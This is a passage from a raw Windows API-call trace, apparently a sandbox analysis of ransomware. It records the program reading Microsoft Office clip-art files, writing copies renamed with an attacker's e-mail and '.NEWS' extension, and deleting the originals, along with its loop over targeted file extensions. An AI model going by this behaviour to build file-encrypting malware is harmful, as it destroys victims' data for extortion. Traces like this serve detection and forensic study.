dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0187.194] GetLastError () returned 0x0 [0187.194] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xfd22, lpOverlapped=0x0) returned 1 [0187.449] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfd30, lpOverlapped=0x0) returned 1 [0187.452] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.452] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.452] SetEndOfFile (hFile=0x56c) returned 1 [0187.452] CloseHandle (hObject=0x56c) returned 1 [0187.452] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.452] SetEndOfFile (hFile=0x54c) returned 1 [0187.456] CloseHandle (hObject=0x54c) returned 1 [0187.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0187.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.458] lstrlenW (lpString=".doc") returned 4 [0187.458] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.458] lstrlenW (lpString=".docx") returned 5 [0187.458] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.458] lstrlenW (lpString=".pdf") returned 4 [0187.458] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.458] lstrlenW (lpString=".xls") returned 4 [0187.458] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.458] lstrlenW (lpString=".xlsx") returned 5 [0187.458] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.458] lstrlenW (lpString=".ppt") returned 4 [0187.458] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.458] lstrlenW (lpString=".zip") returned 4 [0187.458] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.458] lstrlenW (lpString=".rar") returned 4 [0187.458] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.458] lstrlenW (lpString=".bz2") returned 4 [0187.458] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.458] lstrlenW (lpString=".7z") returned 3 [0187.458] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.458] lstrlenW (lpString=".dbf") returned 4 [0187.459] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString=".1cd") returned 4 [0187.459] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString=".jpg") returned 4 [0187.459] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString=".doc") returned 4 [0187.459] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.459] lstrlenW (lpString=".docx") returned 5 [0187.459] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.459] lstrlenW (lpString=".pdf") returned 4 [0187.459] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.459] lstrlenW (lpString=".xls") returned 4 [0187.459] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.459] lstrlenW (lpString=".xlsx") returned 5 [0187.459] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.459] lstrlenW (lpString=".ppt") returned 4 [0187.459] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString=".zip") returned 4 [0187.459] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.459] lstrlenW (lpString=".rar") returned 4 [0187.459] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.459] lstrlenW (lpString=".bz2") returned 4 [0187.459] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.459] lstrlenW (lpString=".7z") returned 3 [0187.459] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString=".dbf") returned 4 [0187.459] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.459] lstrlenW (lpString=".1cd") returned 4 [0187.459] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0187.460] lstrlenW (lpString=".jpg") returned 4 [0187.460] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.460] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.460] lstrlenW (lpString="J0151073.WMF") returned 12 [0187.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.461] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=13336) returned 1 [0187.461] CloseHandle (hObject=0x54c) returned 1 [0187.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220 [0187.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.461] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.462] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0187.462] GetLastError () returned 0x0 [0187.462] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3418, lpOverlapped=0x0) returned 1 [0187.464] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3420, lpOverlapped=0x0) returned 1 [0187.465] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.466] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.466] SetEndOfFile (hFile=0x56c) returned 1 [0187.466] CloseHandle (hObject=0x56c) returned 1 [0187.466] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.466] SetEndOfFile (hFile=0x54c) returned 1 [0187.468] CloseHandle (hObject=0x54c) returned 1 [0187.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.470] lstrlenW (lpString=".doc") returned 4 [0187.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString=".docx") returned 5 [0187.470] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0187.470] lstrlenW (lpString=".pdf") returned 4 [0187.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString=".xls") returned 4 [0187.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.470] lstrlenW (lpString=".xlsx") returned 5 [0187.470] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0187.470] lstrlenW (lpString=".ppt") returned 4 [0187.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.470] lstrlenW (lpString=".zip") returned 4 [0187.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.470] lstrlenW (lpString=".rar") returned 4 [0187.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString=".bz2") returned 4 [0187.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString=".7z") returned 3 [0187.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.470] lstrlenW (lpString=".dbf") returned 4 [0187.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.470] lstrlenW (lpString=".1cd") returned 4 [0187.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.470] lstrlenW (lpString=".jpg") returned 4 [0187.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.471] lstrlenW (lpString=".doc") returned 4 [0187.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".docx") returned 5 [0187.471] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0187.471] lstrlenW (lpString=".pdf") returned 4 [0187.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".xls") returned 4 [0187.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.471] lstrlenW (lpString=".xlsx") returned 5 [0187.471] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0187.471] lstrlenW (lpString=".ppt") returned 4 [0187.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.471] lstrlenW (lpString=".zip") returned 4 [0187.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.471] lstrlenW (lpString=".rar") returned 4 [0187.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".bz2") returned 4 [0187.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString=".7z") returned 3 [0187.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.471] lstrlenW (lpString=".dbf") returned 4 [0187.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.471] lstrlenW (lpString=".1cd") returned 4 [0187.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0187.471] lstrlenW (lpString=".jpg") returned 4 [0187.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.472] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.472] lstrlenW (lpString="J0151581.WMF") returned 12 [0187.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.472] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10752) returned 1 [0187.472] CloseHandle (hObject=0x54c) returned 1 [0187.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220 [0187.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.473] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.473] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0187.474] GetLastError () returned 0x0 [0187.474] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2a00, lpOverlapped=0x0) returned 1 [0187.475] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2a10, lpOverlapped=0x0) returned 1 [0187.476] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.476] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.476] SetEndOfFile (hFile=0x56c) returned 1 [0187.477] CloseHandle (hObject=0x56c) returned 1 [0187.477] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.477] SetEndOfFile (hFile=0x54c) returned 1 [0187.479] CloseHandle (hObject=0x54c) returned 1 [0187.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0187.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.481] lstrlenW (lpString=".doc") returned 4 [0187.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString=".docx") returned 5 [0187.481] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.481] lstrlenW (lpString=".pdf") returned 4 [0187.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.481] lstrlenW (lpString=".xls") returned 4 [0187.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.481] lstrlenW (lpString=".xlsx") returned 5 [0187.481] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.481] lstrlenW (lpString=".ppt") returned 4 [0187.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.482] lstrlenW (lpString=".zip") returned 4 [0187.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.482] lstrlenW (lpString=".rar") returned 4 [0187.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString=".bz2") returned 4 [0187.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString=".7z") returned 3 [0187.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.482] lstrlenW (lpString=".dbf") returned 4 [0187.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.482] lstrlenW (lpString=".1cd") returned 4 [0187.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.482] lstrlenW (lpString=".jpg") returned 4 [0187.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.482] lstrlenW (lpString=".doc") returned 4 [0187.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString=".docx") returned 5 [0187.482] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0187.482] lstrlenW (lpString=".pdf") returned 4 [0187.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.482] lstrlenW (lpString=".xls") returned 4 [0187.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.483] lstrlenW (lpString=".xlsx") returned 5 [0187.483] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0187.483] lstrlenW (lpString=".ppt") returned 4 [0187.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.483] lstrlenW (lpString=".zip") returned 4 [0187.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.483] lstrlenW (lpString=".rar") returned 4 [0187.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.483] lstrlenW (lpString=".bz2") returned 4 [0187.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.483] lstrlenW (lpString=".7z") returned 3 [0187.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.483] lstrlenW (lpString=".dbf") returned 4 [0187.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.483] lstrlenW (lpString=".1cd") returned 4 [0187.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0187.483] lstrlenW (lpString=".jpg") returned 4 [0187.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.483] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.483] lstrlenW (lpString="J0152414.WMF") returned 12 [0187.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.484] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=24844) returned 1 [0187.484] CloseHandle (hObject=0x54c) returned 1 [0187.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220 [0187.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.485] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.485] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 